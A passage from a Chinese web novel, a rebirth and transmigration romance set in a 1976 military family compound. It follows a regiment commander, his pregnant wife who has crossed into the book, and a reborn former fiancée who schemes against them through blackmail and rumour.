把霍战北送医疗室,苏陈皮就和郑好分头打听苏圆圆的消息。
“苏班副,你放心,没事了。我刚才去找团里兄弟打听过了。兄弟们说今天下午打扫了团长家,帮嫂子搬进新家了。”
苏陈皮松了口气,幸好张政委办事牢靠,把妹子安顿好了。
两人转头去医疗室。
一开门,就见霍战北正和他的主治医生说话。
“开刀你要给我用全麻,我就得先回家看一趟我媳妇,再回来做手术。”
霍战北觉得,太对不起媳妇了。再怎么不情愿结的婚,也是他睡了人家,他就是人家男人,她就是他媳妇。
他得去见一下媳妇,安顿好了媳妇,才能安心做手术。
不然,媳妇揣崽来探亲,他不但没去接。还让人家一来就伺候他一个病人,咋也说不过去。
楚行止眉头一挑,他和霍战北、夏千燕在军区大院一起长大。
他们那伙人都知道霍战北和夏千燕才是一对。什么时候,霍战北结婚了,新娘子还换人
“你这腿伤拖不得。你得赶紧手术,腿重要还是看媳妇重要?”
“我媳妇还怀着孩子呢?”
楚行止脸皮疯狂抽动,霍战北绝嗣谁不知道,他媳妇怀了孩子,他居然说的这么顺溜。
“你那是什么表情,我不能生那是我的事,又不是我媳妇不能生。”
“果然霍疯子就是霍疯子!咱这群人里面,你脸皮是最顶顶厚的。”
楚行止扫了一眼霍战北的伤腿,
“千军万马都伤不了你,一句你媳妇揣着崽找你来了,就把你乐成这样,腿都摔瘸了。”
霍战北冷哼一声,
“不管是谁的,我媳妇生的,就是我的。”
霍战北一点也不难为情,
“楚呆子,半麻,快开吧,开了我就回家看我媳妇。”
“疼不死你,看不出来,你还这么顾家,到底是命重要,还是媳妇重要?”
门就在这时候开了,楚行止立马闭嘴。
刚进门的苏陈皮和郑好听到最后这句话,命和媳妇谁重要。
苏陈皮嘿嘿一笑,
“媳妇重要,嘿嘿,当然命也重要,反正命和媳妇都重要。他要是有个三长两短,我妹就当寡妇了。”
郑好:苏班副,咱不会说话,能不能不说话。
但是现在苏班副已经不是以前的苏班副了,
苏班副现在可是他们团长的小舅子,他一个小勤务兵可得罪不起。
“送我回家的人来了,楚呆子。快点动手,半麻,做好手术,我直接回家。”
苏陈皮点头,
“对,我们送他回家,我还得去看他媳妇,也就是我妹子。”
郑好翻白眼:知道团长媳妇是你妹子,显摆!
……
天黑了,家属院里到处都是饭菜香。
郑好推着坐在轮椅上的霍战北,苏陈皮拿着他买给妹子的吃食。
三个大男人进了霍战北家。
门开着,灯亮着,堂屋里桌上、椅子上到处散乱着一些吃食和女人的衣裳、化妆品等东西。
霍战北:有女人的东西,他媳妇真住进来了。
但现在人跑哪去了,这么晚了,揣着崽还乱跑,一看就不是个安分的主。
想到那晚媳妇的野,脸有些红。
苏陈皮皱眉,
“这些东西不是我妹子的。”
郑好吃惊,
“不可能。团长家除了嫂子,怎么可能还有别的女人住?苏班副,你不会看错了吧?这些东西真不是嫂子的?”
“这些东西,我们乡下可买不着。”
三个人,六只眼,一一扫过屋里的东西。
衣裳、鞋子、化妆品,丝巾,还有那些糖和麦乳精……
“你个骗子,你不是走了吗?还有脸呆在这里?”
隔壁突然传来一个尖利的年轻女声。
“我们两谁才是骗子,你比我更清楚。夏千燕,有理不在声高。这是在别人家,你嚷啥?”
一个娇柔勾人的声音,好熟悉的声音,霍战北身体一僵。
苏陈皮?
“我妹的声音,我妹在隔壁。”
隔壁不是张政委家吗?他妹在和谁吵架?
苏陈皮转身就往隔壁跑,谁敢欺负他妹妹,就是他未来的老丈人张政委也不行。
郑好赶紧推起轮椅,也往隔
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壁跑。
三个人一进门,一眼就看到一个瘦高姑娘,正指着苏圆圆鼻子,
“张伯伯你说谁才是战北哥哥的媳妇?你说她是不是骗子?”
听到院门打开的声音,张红英转头,一眼就看到了站在在门边的三人,
“霍团长!”
屋里众人齐转头。
夏千燕看到霍战北心里一惊,脸上迅速换个委屈表情,扭着小腰跑过去,
“战北哥哥,”
霍战北大手一转轮椅,她扑个空。
“霍团长,你说,她们两谁才是你媳妇?”
张红英看了一眼苏陈皮,伸手护着苏圆圆,瞪着霍战北,以前她可是不敢直接看霍团长的,因为霍团长太冷。从不给姑娘一个正眼。
但这会子不一样,谁也不能当着她的面,欺负她对象的妹子。
霍战北完全不看一眼,崴了脚跌坐在地上的夏千燕,目光完全凝结在苏圆圆身上,语气淡淡,
“胖的那一个才是!”
苏圆圆:喔豪,就不能说苏圆圆同志才是,非要说胖的那一个才是。狗直男,我胖怎么了,吃你家米了。
(嘿嘿,我们的圆圆呀,你以后可不是得**家霍战北家的米啊!还得吃一辈子呢!)
“战北哥哥——”
眼睁睁看着霍战北带着苏圆圆回家。
夏千燕跛着脚往前追了两步,又跌倒地上。
“红英,你骑车驮她去医疗室看看脚。”
张政委头大,没法,事是那臭小子惹出来的,自己还得在后面给他擦屁股。
“红英,你劲小,驮不动她。我和你一起去医疗室。”
苏陈皮没敢看张政委难看的脸色。
天太黑,路不好,他可不放心他家红英一个姑娘家骑车,还要驮这么大一个人。
郑好推着轮椅,苏圆圆跟在后面走到大门口了,见她哥还没跟出来,一扭头,正好听到他哥说那些话。
苏圆圆:嘿嘿,我家三哥果然和书里写的一样,是个最会疼媳妇的。
三人回到家。
苏圆圆扫了一眼屋里的摆设,还有那散落一地的女人用的东西,嘿嘿一笑。
“霍战北,你的燕子妹妹把窝都给你收拾好了。”
第7章 晚上我们怎么睡
霍战北看了一眼郑好,
“别人的东西,都给拾出去。”
“团长,我这就回去找兄弟们收拾。可是,团长,这些东西送哪去?”
郑好摸头,团长那个假媳妇可是住在这里的。
霍战北头也不抬,“送张政委家。”
郑好:他们家团长这是嫌弃人家张政委给他认错了媳妇,赖着人家了。
郑好为难,
“那个夏姑娘一会要是再从医疗室回来,她要不愿意……”
“人也送张政委家去。”
无辜躺枪的张政委:我这是招谁惹谁了!
苏圆圆:哦豪,这狗男人一点也不会怜香惜玉。
郑好走了,屋里只剩下两**眼瞪小眼。
“那个霍团长啊,我们两是不是要先坐下来,好好谈一谈?”
苏圆圆一张大圆脸,直接怼到霍战北面前,目光落在他腿上,
“你这腿伤得严重吗?还是我先把你弄床上去,然后我们再好好谈一谈?”
白的发光的脸,笑眯眯的眼,忒得太近,一股清新的味道直扑鼻腔。
霍战北:媳妇干嘛突然离我这么近?还直接提什么床?
“医生说我腿伤得不轻,有瘸的可能。”
苏圆圆撇嘴,
“你要不想认我和孩子,嫌我丑,嫌我胖,喜欢你燕子妹妹那样的。你就直说想离婚。和我扯啥腿伤,瘸不瘸的?”
苏圆圆:离近这么一看,狗男人长得可真好看,脸俊腿长大胸肌,哪哪都长在了她的心巴子上。
可一想到这是本书的男主,注定他得和女主纠缠。而她一个注定要早死的前妻,掺合里面能有啥好事!
她刚才一路上就在想,回乡下老家,她是不想回。
她一个现代人,让她种个花草种点菜还行。
但她不会种地啊!
这可是1976年,村里还没分单干。她回了老家,是要下地挣工分的。总不能这么大一个人了,还要全家养着自己吧。
何况她肚子里还怀着孩子,她得在这里生,乡下医疗条件太差了。虽说书里说她顺利生产了,可万一难产呢?
“霍战北,霍团长,咱有话好好说。你看咱两这结婚就是个误会。你看不上我,我也不想真赖着你。你看你能不能先让我住下来?”
苏圆圆努力把自己声音放得更甜,
“我爹在公社给咱两扯了结婚证。这军婚呢?是不好离。不过,你也别担心。我家人最疼我。只要我对他们说,我想离,我爹一定不会为难你。”
苏圆圆刚才进院就打量过了,霍战北分的房子是个三间正屋、两间西屋的红砖大院子。
“你住堂屋,我就住你家西屋。等我生下孩子,找到工作和房子搬出去。”
“到时候,咱俩再协议离婚,就说性格不和。或者直接说我嫌你腿瘸都行。保管不耽误你以后娶媳妇。”
”不过呢,咱把丑话说前头。我肚子里的孩子我得带走。“
苏圆圆吧啦吧啦说完了她所有的想法。
半晌霍战北才回了一句,
“你怕我成瘸子?”
啊?
苏圆圆完全跟不上这男人的脑回路,感情她说了半天,他只听到这句啊!
“你不想和我离婚?”
“不管咱是因为谁的错,结的婚。结婚了,睡一起了,你就是我媳妇。”
“你不嫌我胖,嫌我长得丑?”
“你不丑,胖又不是毛病。你也知道,我是真有毛病。我绝嗣,我现在还腿瘸。你要不嫌弃,我们就过。”
霍战北:我霍战北的东西就没有不好的,我媳妇胖是胖了些,瞧瞧多白净,多软嫩,那声音多勾人。
苏圆圆眼睛亮了,长嘴的男人真好,说的每一句话,她都喜欢听。
“霍战北,你真没打算和我离婚?你不是喜欢夏千燕吗?你们两不是从小一起长大的青梅竹马吗?”
“我不喜欢夏千燕,从小到大都不喜欢。”
她咋忘了呢?书里霍战北这会还不喜欢夏千燕,一直到夏千燕追夫火葬场,使尽手段嫁给他,他也只是拿夏千燕当媳妇。
后来是夏千燕帮他找回孩子,霍战北才慢慢喜欢上夏千燕的。
“媳妇,天太晚了,你推我进里屋,咱洗洗睡吧。”
霍战北看向里屋。
睡?
苏圆圆怔了一下,脑海里立马不受控制地……
“媳妇,你脸咋红了?”
霍战北
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声音平淡,瞟向她的眼神却带了一闪而过的玩味。
苏圆圆看到了,咦,这狗男人根本不是表面装得那样无趣正经,私底下还是个闷骚的?
“媳妇,你不会想多了吧?你还怀着孩子呢?我可是个正经男人。”
咳咳……
郑好刚进门的脚僵住了。
他听到了什么?
他们家团长刚才说的那是什么虎狼之词?
不,说这话的这个男人,真的是他们家团长吗?
“啊,团长,嫂子,你们继续,我们等会再来收拾。”
郑好赶紧推着身后两兵,逃也似地走了。
临走,还体贴地把屋门,院门都给轻轻关上了。
“你说话咋这么不小心,看让人误会了吧?”
苏圆圆再脸皮厚,这会也不好意思了,
“你不是很厉害吗?怎么有人来了,你都不知道,还满嘴胡说!”
声音一出,苏圆圆自己都吓了一跳。
她说这话,不像是责怪,倒像是撒娇。
她怎么忘了呢?
原身虽是个胖丫,但却有把好嗓子,声音特别娇、特别柔软、特别甜。尤其是这会子说话还带着娇嗔。
刚才她还一本正经和人家说离婚,说她对人家没意思。结果一转头,她这就和人家撒上娇了。
这怎么看,都像是她在勾引人家。
“你是我媳妇,我和我媳妇说话,管他们啥事!”
霍战北看着媳妇白嫩的脸,听着媳妇柔软如蜜的声音,他的思绪不由又飘向了那个夜晚。
他自己都不知道,他的声音此时也带上了一些不自觉的宠溺。
“塞上你的嘴,让你再乱说话?”
苏圆圆心有些慌,顺手拿了旁边桌上一个大白兔奶糖,剥掉皮,塞进霍战北嘴里。
“人家的,记得明天买了还人家。”
霍战北咀嚼了几下,
“嗯,甜。”
说着,目光似乎无意瞟了下她的手指。
苏圆圆脸腾得红了。
刚才她塞糖的时候,手指碰到了他的唇。
狗男人,这是在说糖甜,还是在说她的手指甜!
心慌之际,苏圆圆脱口而出,
“晚上我们怎么睡?”
第8章 亲亲霍战北
她意思是她刚才提的自己去睡西屋,现在霍战北不同意离婚,还说要睡觉。
他们晚上怎么分配屋子?
“我们霍家的规矩,娶了媳妇,外面的事男人干,屋里的事媳妇说了算。”
霍战北眉眼含笑,却面不改色,
“你是我媳妇,你说咋睡就咋睡。”
“霍战北!”
一看小媳妇急眼了,霍战北也不逗她了。
从口袋里掏出一个包,扔给苏圆圆。
苏圆圆打开一看,里面全是钱和粮票。
“现在我身上就只有这些了。前些年我一个人用不着,都借给团里兄弟们了。你先用,不够我再弄,咱结婚的事,我还没给家里说。”
霍战北一本正经地解释了郑好弄错了结婚申请的事。还有任务急,他还没把结婚的事和家里人说。
苏圆圆:我就喜欢有嘴的男人,不会随意糊弄和委屈媳妇。
苏圆圆扶着霍战北坐床边,拿起热水瓶倒水,给他洗脚,
“今天你是病号,我先伺候你。等你腿好了,我是孕妇,你得天天伺候我。”
“你是我媳妇,我伺候你是应该的。”
苏圆圆惊讶霍战北一点也不大男子主义。
两人说说笑笑,简单洗漱好上床。
毕竟今天事太多,两人都折腾地太累了,先歇一晚,有事明天再处理呗。
一张床,苏圆圆铺了两个被窝,靠着床头,
“你妈看样很中意夏千燕当你媳妇。到时候你妈她……”
苏圆圆也把今天的事,和霍战北简单说了一下,尤其是说了夏千燕和他妈打电话的事。
婆媳关系现代社会都是最难处的,何况这是1976年。
她一个乡下丫头上嫁一个海市来的团长。
男人再好,要是家庭关系太难处,她也得考虑一下。
“你别担心,不是我妈特别喜欢谁。像我这样绝嗣的男人,哪个姑娘愿意嫁给我,我妈都喜欢。”
苏圆圆看了一眼面不改色的男人,这男人还真是的,说自己绝嗣的事,像说喝水一样轻松。
“你那没毛病,绝什么嗣?就是弱精。还是可以生孩子的,就是难。”
说到这,苏圆圆摸了一下自己的肚子,五个多月了,再加上原身胖,肚子还挺显大的,
“谁让你媳妇我是天生易孕体质了,怀上你的崽很容易。”
霍战北目光落在苏圆圆肚子上,
“你别安慰我。也别担心我嫌弃孩子。不管是你和谁怀的,在我家生的,就是我的。”
那晚在一起时,他最清楚,媳妇是第一次。
他不能生,媳妇为啥会怀个孩子找上门。
霍战北觉得,可能是媳妇的娘——那个村长媳妇想的法子,让媳妇和别人怀上孩子,算到他头上,让他赖不了婚。
“霍战北,你可真好。孩子不是你的,你都愿意认。”
苏圆圆觉得这男人一心认定自己绝嗣,她怎么说,他都不会轻易相信,
“霍战北,你可真是天下最好的男人。我决定了,以后我给你生一个足球队。到时候,你就知道你是不是绝嗣了。”
既然说不通,那就动手好了。
“媳妇,你这是干什么?”
“你是我男人,我是你媳妇,你说我要干什么?”
霍战北长得俊,身材好,嘿嘿……
和自己男人……天经地义。
霍战北脸一红,
“你还怀着孩子。”
他没说自己腿还伤着,却只说她还怀着孩子。苏圆圆乐了,这男人的小心思她岂能不懂。
“五个多月了,结实着呢。”
说着亲上了霍战北的唇。
霍战北长着一张偏冷禁欲风的脸,唇线却柔和饱满,衬着下颌线的弧度,是他硬朗军人英姿里唯一的暖色。
她早就想亲了。
嗯,
真好!
终于亲上了!
果然如想像中的一样美好!
“媳妇,我,我还受着伤呢——”
霍战北:我和媳妇这才见第二面,总不能见一面就……一次,这会不会让媳妇觉得他太……
苏圆圆声音软糯,
“你伤着了腿,又不是……”
霍战北?
他又想起那个……夜晚,的确是媳妇先……然后他忍……
“媳妇,你用了什么雪花?”
媳妇的皮肤细滑柔软,还散发着一种好像雪花膏的甜甜味道。
媳妇还是那个媳妇,可霍战北总觉得媳妇变得有些不一样了。
嗯,就是洗得干净,香香软软的,声音比以前更……
霍战北:才见第二面,他应该还是不了解媳妇。
“哦,下午我三嫂带我去泡了个澡。”
他媳妇的三嫂?
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>这个念头刚浮上来,就被……
“睡吧,明天你不方便,我让你那小勤务兵带你去洗澡。”
苏圆圆亲完了,扯完被子盖上两人,闭上眼睛径直去睡觉了。
完全不管此时风中凌乱的霍战北。
霍战北?
原来媳妇说的一切交给她,只是一个亲亲?
还是媳妇洗香香了,本来想吃了他,发现他没洗澡,嫌弃他了?
……
屋里如此。
外面,郑好没走。
郑好表示,他在外面不是真想听墙根。
他就只想看看团长和嫂子会不会吵起来。因为他的错,到时候,他好去拉架。
结果却意外听到了……
赶紧跑,
敢听团长的墙根,要是被团长发现了?他真是不想活了。
……
”霍战北?“
”嗯!“
”霍战北?“
”嗯!“
”霍——“
苏圆圆噗嗤笑了。
不知为什么,躺在床上,闭着眼睛,安静的夜晚,听着身边人的呼吸,她心里突然涌起一股安稳甜蜜。
原来的世界里,她父母离异,跟着乡下奶奶长大。无依无靠,独自拼搏,生活中除了书本就是手术。
穿到这个几百斤的胖姑娘身上,
却有宠她的爷奶,爱她的爹娘,把她捧在手心里的五个哥哥。
还有身边的这个俊美优秀的男人,竟然也没理由无条件地愿意娶她,疼她,宠她。
这些人没有一个人在意,她丑不丑,胖不胖!
上天既然安排她穿书,给了她一次重生的机会。
管它原书女主如何,现在男主就只认她一个媳妇,她肚子里还怀着男主的孩子。
她为何要推开这所有的幸福?
”霍战北?“
”你是我媳妇,你可以改个称呼。“
”嗯,那我叫你哥哥?哥哥,战北哥哥?“
苏圆圆想到夏千燕叫霍战北,战北哥哥的那个小贱样。有些倒胃口。
”要不,我叫你北哥哥,北北哥哥,战哥哥,小战战,怎么样?“
北北哥哥?小战战?
霍战北脸红了,心热了……
不知为什么,别的姑娘叫他哥,他火大;媳妇一叫他哥,他立马就想起那天晚上……
媳妇叫他哥哥,声音又苏又软又娇柔,勾人心呐!
第9章 夏千燕你跑啥
夏千燕站在医院走廊里,夜色笼在她的脸上。
“你说战北哥哥让你,把这些东西都给我送来?”
她不敢相信地看着堆了一走廊的东西。
“我们团长说了,外人的东西不能放在家里,怕媳妇生气。”
外人?
霍战北说她是外人?
夏千燕脸色变了。
郑好挠挠头,看着放下东西转身离去的兄弟们,
“我们团长还说了,你要是没地方放,就让我直接把这些东西帮你送张政委家。”
“那你们霍团长有没有说,我这个人怎么处理?”
夏千燕唇角抽动一下,
“总不会把我也和东西一样打包丢出来吧?”
“我们团长说了,你要是不愿意住招待所,让我也把你送张政委家去。”
郑好一脸我真的不想说,你既然啥都知道,为啥还非要我说的憋屈相。
霍战北,你可真是好样的!
夏千燕脸上强撑镇静,心里却惊骇极了。
她是重生的,她才是这个世界的主角,所有的人都应该围着她转才对。
可是,
为什么今天发生的所有事情,都和上一世不一样了呢?
难道,因为她的重生,她提前来部队找人,改变了一些事情的走向吗?
“你的药。”
张红英把药递给夏千燕,她和苏陈皮一出来,就听到了两人的对话,
“这人啊,有病就得吃药。别瞎折腾。”
张红英话里有话,说完又看了一眼地上的东西,
“我说夏千燕,你和东西,我们张家都不欢迎。”
夏千燕气的心口疼,
“我是霍家办了订亲宴,长辈认定过的媳妇。我来找我对象,我哪里做错了?”
夏千燕看了一眼苏陈皮,
“倒是你们苏家,用那般下作的手段,硬把你家妹子塞到霍战北的床上。”
苏陈皮一听人家说他妹子,立马急了,
“你胡咧咧啥?一个姑娘家家,满嘴跑火车。我妹子和团长,那是我们全村三百多号,老少爷们看着结婚的。我爹还去公社里给他们扯了结婚证……”
郑好:团长和嫂子的秘密,是我这个小勤务员能听的吗?
郑好转身,迈开小短腿麻溜地走了。
“你怎么知道人家小两口的私事?随意往人家身上泼脏水,可是要负责任的!”
夏千燕对上张红英探究的目光,心头咯噔一下。
她总不能说,她是重生的,这件事,还是她上辈子,**阿姨和她妈说话,她听到的。
“苏班副护他妹子,和我急。张红英,你是为了什么和我急啊?”
夏千燕一句话,说得张红英红了脸。
“不管怎么说,现在霍团长和圆圆是夫妻,圆圆还怀着霍团长的孩子。你要还不放手,对你也没啥好处啊?”
夏千燕不说话,目光冷冷盯着张红英。
哼,这会子竟然在她面前秀恩爱。
没听老辈人说嘛,秀恩爱死得快!
哦,她记得上辈子张红英是什么时候死的呢?好像挺早的。
“自己的事还操心不完,小心乱管别人的事,会遭报应的。说不定——”
夏千燕倏地停住说了半截子的话,眼睛睁大,对上了走廊尽头走来的一个身影,一张熟悉到骨子里的脸。
楚行止!
楚大医生!
她上辈子的男人!
夏千燕极力控制住颤抖,和想冲口而出的尖叫。
上辈子,她悔婚转头嫁给了楚行止。
楚行止在外人的眼里,那是青年才俊,文雅暖男。谁不羡慕她得嫁良人。
谁知楚行止内里偏执可怕,不许她和陌生男人说话,打她还不许她哭。
甚至,楚行止一辈子都没碰过她。一生守着自己记忆里的白月光生活。
“夏千燕?”
楚行止走过来,脸上带着温暖的笑,
“我离远听到好像是你的声音,还真是你。”
就是这个声音!
就是这种微笑!
夏千燕瞳孔放大,上辈子临死前,楚行止就是用这种声音,这样的微笑对她说出世界上最恶毒的话。
“夏千燕,我要你这一辈子,下一辈子,永永远远为我们楚家陪葬!”
……
“夏千燕?你怎么了?可怜见的。你是不是知道了霍战北结婚了,他媳妇还怀了孩子。”
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>楚行止走到夏千燕面前,看她怔着,一脸惊恐像失了魂一样呆立着。
唉,
夏千燕喜欢霍战北,追了他好几年,好不容易订了婚修成了正果。
没想到,霍家一出事,夏千燕竟然悔婚跑回海市了。
对于这个事,楚行止也挺为好兄弟霍战北难受的。
不过,如今看到夏千燕这副可怜样子,也不由唏嘘。
毕竟,他们在一个大院一起长大。
夏千燕现在这个样子,他不伸手帮一下,于情于理不合。
“夏千燕,你别难过了。你得想开点。霍战北除了一张脸,就那狗屁性格,和他结婚有啥好的。别的不说,你要挑人结婚,这军区里、医院里优秀的男人一大把,你想选哪个选哪个……”
楚行止伸手想去拍一下夏千燕的肩膀,安慰一下她。
“别碰我!你别碰我!别过来,你别过来!”
夏千燕全身颤抖,不停后退,对楚行止多年累积的恐惧瞬间爆发,她完全控制不住,心态直接崩了,转身就跑。
“夏千燕,你跑啥?夏千燕,你的腿?”
看着夏千燕跑得歪歪扭扭、狼狈至极。
楚行止手停在半空,转头看向两人,尴尬一笑,
“姑娘家脸皮薄,出了这种事,她可能觉得见了熟人,伤了脸面。”
楚行止看了一眼地上的东西,
“这些东西都是夏千燕的吧!她的腿怎么了?”
张红英和苏陈皮面面相觑。
军区两个最招引姑娘,也最难搞定的男人——霍战北和楚行止。
霍战北凶得像狼、冷得像冰坨子!
楚行止温暖如阳、淡得像无情水!
这两人居然都认识夏千燕?
毕竟是一起工作的同事,低头不见抬头见。何况楚医生还是她的上司。
张红英赶紧把今天的事简单说了一下。
张红英刚一说完,苏陈皮立马接话,
“楚医生,要不,你给夏姑娘安排个住处。这几天,你再安慰安慰她?”
苏陈皮:嘿嘿,他得赶紧撮合一下这两人,万一真成了一对。以后夏千燕就不会再打扰他妹子和团长的幸福生活了。
第10章 一兜鸡蛋全糊她脸上
砰!
啪!
夏千燕撞到了一个人,一屁股坐到地上。
还没反应过来,一堆东西砸到她头上,粘腻的汁水糊了她一脸。
“没长眼啊,敢撞我,找死!”
从小生活优越的夏千燕哪经过这事,摸掉脸上的脏东西,扯一下长发,上面沾满了鸡蛋液,鸡蛋碎皮。
“说谁没长眼呢?你她娘乱跑啥?撞着我媳妇你还有理了?”
一个粗狂的男声炸雷般响起。
“啊,我的鸡蛋。”
一个女人心疼地指着夏千燕骂,
”我一兜好好的鸡蛋,全糊你脸上了。你赔我,那是我男人买给我补身子的鸡蛋。
夏千燕掏出手帕,擦干净眼上糊的鸡蛋液,这才看清一个粗壮男人扶着一个大肚子女人。
“赔啥鸡蛋,媳妇,你肚子咋样,疼不疼?我儿子没事吧?要是有个啥事,我饶不了她。”
男人一把拎起跌坐在地上的夏千燕,
“看你是个姑娘家,鸡蛋的事就算了。你撞着我媳妇肚子了。今天太晚了,你给三百块钱,明天我得带我媳妇好好检查一下。万一我儿子要是有个什么闪失,三百块钱也饶不了你。”
三百块钱?
这可是军区医院,来看病做检查的人,大多是军人家属和周围村庄的老百姓。几块钱看一次,这男人一张嘴就问她要三百块钱。
来时,她妈给她带了一千块钱。
可她花钱大手大脚习惯了。如今,她口袋里只剩下八百块钱了。
海市她是回不去了。
在她离开海市前来部队找霍战北的当天晚上,她爸妈就已经被革委会抓走了,家也被抄了。
一夜之间,她从一个海市独生女,变成了人人喊打的资本家大小姐。
身上仅剩的八百块钱,和她那一堆大大小小的包裹,就是她在这里生活下去的所有物资,也是她以后追回霍战北的底气。
“我没有钱,一分钱也不会给你们。放开我,不然我和你们拼了!”
她没有家了,她再也回不去海市了!
夏千燕吼着,眼泪糊了一脸。
她觉得今天的自己,真的是倒霉透顶了。
“你们是什么人?还不快把她放下!”
楚行止终于追上了夏千燕,竟看到她正被人欺负。
深呼吸,夏千燕捂住狂跳的心,终于强迫自己镇静下来。
重生一世,她绝不会让自己再走那条悲惨的老路!
想到此,夏千燕转头冲着赶过来的楚行止凄然一笑,
“楚哥哥,我真的很难过。战北哥哥他娶了一个给他戴绿帽子的大肥婆。”
两行泪从夏千燕沾满鸡蛋液的睫毛流下,
“都是我的错,我知道当年我悔婚,让战北哥哥伤了心。今儿看我来了,他为了报复我,竟然宁肯娶一个大肥猪,也不愿意要我。”
“你还是和以前一样叫我楚行止吧。”
楚行止心想,你叫哥哥,听着怪瘆人的。
“楚医生?”
粗壮男人一看到楚行止,吃了一惊。手一松,把夏千燕丢到了地上。
“是你?李大山!你媳妇身上的伤,明明是你打的。你怎么还能赖夏千燕撞的。”
“那个楚医生,你误会了。我不是他媳妇,我是他堂妹。你看我叫李菊花,他叫李大山。”
一脸妊娠斑的李菊花脸色发白,赶紧解释,
“我身上的伤也不是我男人打的,我滑倒了,自己碰伤的。我男人身体不好,不方便送我来医院检查。我请我堂哥帮忙送我来看病的。所以我堂哥是替我男人签字的。”
李大山?
夏千燕猛地抬头看过去,竟然是一张熟悉的脸。
她今天从火车站到军区,找了一个货车司机送她。
那个货车司机就是眼前的李大山。
李大山非说她带的东西多,问她要了八十块钱运费。
一路上,看她是一个单身漂亮姑娘,言语之间占她便宜。
她为了让霍战北看见她的第一眼就惊艳,今天故意穿了一条黄白格长裙,露出白皙柔嫩的小腿。
李大山一路上时不时拿眼瞄她小腿。
夏千燕又恶心又害怕,怕她一个姑娘家,跟他这么大体格子一个司机,单独呆在车里,万一司机起了坏心……
所以一路上,她都是没话找话说,和司机东扯西拉,转移他放在自己身上的注意力。
司机夸她脖子上戴的丝巾好看,夏千燕就送了一条同样的丝巾给司机,说让他回去送嫂子。<
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br>夏千燕目光扫过李菊花的脖子,现在那条丝巾就戴在李菊花的脖子上。
媳妇?
堂妹?
我儿子?
一对野鸳鸯,还怀了一个野种。
哼,她正愁才来军区,她要做那么多事,没帮手呢。
这不,就有两送上门来了。
捏着这两人的秘密和短处,还不是她让他们向东,他们绝不敢向西吗?
“楚行止,你先帮我安排一个住处。带李司机去帮我把东西装上车送过去。我和菊花妹妹说点女人间的私房话。”
“好,你先搬去我分的房子住几天,我一个人平时也住宿舍,很少回去。”
“那个——”
李大山脸色变了又变,此时他也认出了夏千燕。
心里暗道坏了,谁让他嘴贱心黑,坑了人家的钱,还对人家动了歪心思。
这会子,当着楚医生的面,他真是一种有屎拉不出,硬要憋死的感觉。
“你放心去送东西吧,我和你妹子说两句话,一会就跟上。”
夏千燕温柔一笑,拉过李菊花,
“嫂子,到这边来,我想请你帮个忙,你看……”
此时李菊花嘴唇发白,腿脚发软。
刚才夏千燕一脸鸡蛋液,此时擦干净了,她终于认出来了。
这不是霍团长的新媳妇吗?
今天下午霍团长新媳妇,带着礼物走遍了整个家属院,还去了她家。
“你别叫我嫂子,霍团长家的,求你,我……”
李菊花腿一软,就要跪下来,求夏千燕帮她保密。这事要是让她男人知道了,她男人会打死她的。
“哦,我说刚才看着你怎么有点眼熟,原来咱今天下午还真是见过。”
李菊花这一句霍团长家的,夏千燕才认出,这女人家,她今天下午去过的。
这女人现在还能叫她霍团长家的,看样子,还不知道她是假媳妇的事。
毕竟刚才在张政委家,霍战北赶她的事,只有在场的几个人知道。这么短的时间,别人不会知道。
“菊花嫂子,女人何苦为难女人。你放心,我不是个多嘴的人。”
夏千燕压低声音,
“以后咱就是自己人了,我有个事,想请你帮忙,你明天……”
第11章 扒媒的来了
一通忙碌,夏千燕住进了家属院,楚行止分的小院里。
“夏千燕,你安心在这里住着,我走了。”
楚行止走了两步站住,转过头看着夏千燕,
“我们从小一起长大,霍战北的脾气,你是知道的。但凡他认定的东西,就没有更改的。”
“好,我都听你的。”
“楚行止,我听战北哥哥那个小勤务兵说,战北哥哥要在这里补办婚礼。我心里难受,帮不了忙。帮战北哥哥筹备婚礼的事,只能交给你了。”
“夏千燕,你确定要我帮着霍战北准备婚礼?”
“你放心,你负责筹备,我私底下会帮你的。但你不能和战北哥哥说。还是让他误会我还在生气吧。不然,我就一点面子也没有了。”
楚行止皱眉,他只想着安排夏千燕住下来,却忘了一个细节,他分的房子,就在霍战北隔壁。
布局:家属院第三排最东边是张政委家,中间是霍战北家,西边是楚行止家。“楚行止,我还有一件事,想请你帮个忙。”
夏千燕尽量把声音放到最柔。
“你说。”
“我既然来了,一时半会就不能再回海市,不然我那些朋友知道了,会笑话我的。”
“你想留在军区?可你没工作,难不成你想在这里,再找一个对象结婚随军?”
“出了战北哥哥这事,我心里对找对象这事一时还接受不了。我想先找个工作,定下来,以后的事以后再说。”
“你想做什么工作?这里的临时工都能苦,很累的,你干不了的。”
“你知道我是护士,我想……”
“你不会想进我们军区医院当护士吧?”
“这种事我可安排不了。”
“我刚才听菊花嫂子说,这几天军区正要安排一批随军家属的工作,你看看能不能……”
“打住,你想多了。夏千燕,你刚才也说是安排家属工作,你又不是家属,你让我……”
“怎么不是家属了,我是你和霍战北的妹妹。”
楚行止?
“楚行止,你必须得帮我。不然,我就告诉楚叔叔,你不结婚不找对象,是因为你心里藏着一个白月光,你一直在等她。”
看着夏千燕不停叭叭的嘴,楚行止无力举手投降,
“好,我明天就给你安排,和等待分配工作的家属一起参加考试。先说好,我只能给你求来一个考试的名额,至于你能考上啥,当老师、当护士还是食堂打杂。那得看你自己的造化了。”
说到这里,楚行止再也不看夏千燕一眼,转身就走。
夏千燕狠毒的目光死死盯着隔壁的墙。
霍战北绝嗣,苏圆圆肚子里的孩子,所有人都在等着看,谁是那个野男人。
我倒要看看,到时候,霍战北发现他媳妇肚子里野种的爹,竟是他最好的兄弟,霍战北还会这么大方吗?
呸,
还有那个对她冷言讥讽的张红英,她倒要看看,等明天李菊花把她无媒苟合,和男人搞对象搞大了肚子的事,传遍军属大院的时候,她到时候拿什么脸面活着?
对了,
还有霍战北的妈
她得再去打个电话。
明天,
她要让所有得罪她的人,看不起她的人,都**。
……
好困,全身都好沉。
苏圆圆翻了个身,她是被一阵尖细的声音吵醒的。
“霍团长,你是咱军区的脸面。不能这样不明不白地就被一个乡下女人缠上。”
苏圆圆觉得这哪个女人啊?
声音又尖又细,说快一点还带老牛大喘气,似乎马上就要咽气一样。
“她大字不识的一个乡下丫头,胆子真够大的,敢跑到咱军区找男人,还专挑你这么优秀的。”
女人操着尖细的声音,继续愤愤不平,
“咱军区人谁不知道你不生孩子,她还揣着那么大个肚子,非说是你的孩子。霍团长啊,你都不知道,咱军区家属院有多少人背地里笑话你呢。”
另一个温和稳重的女声传来,
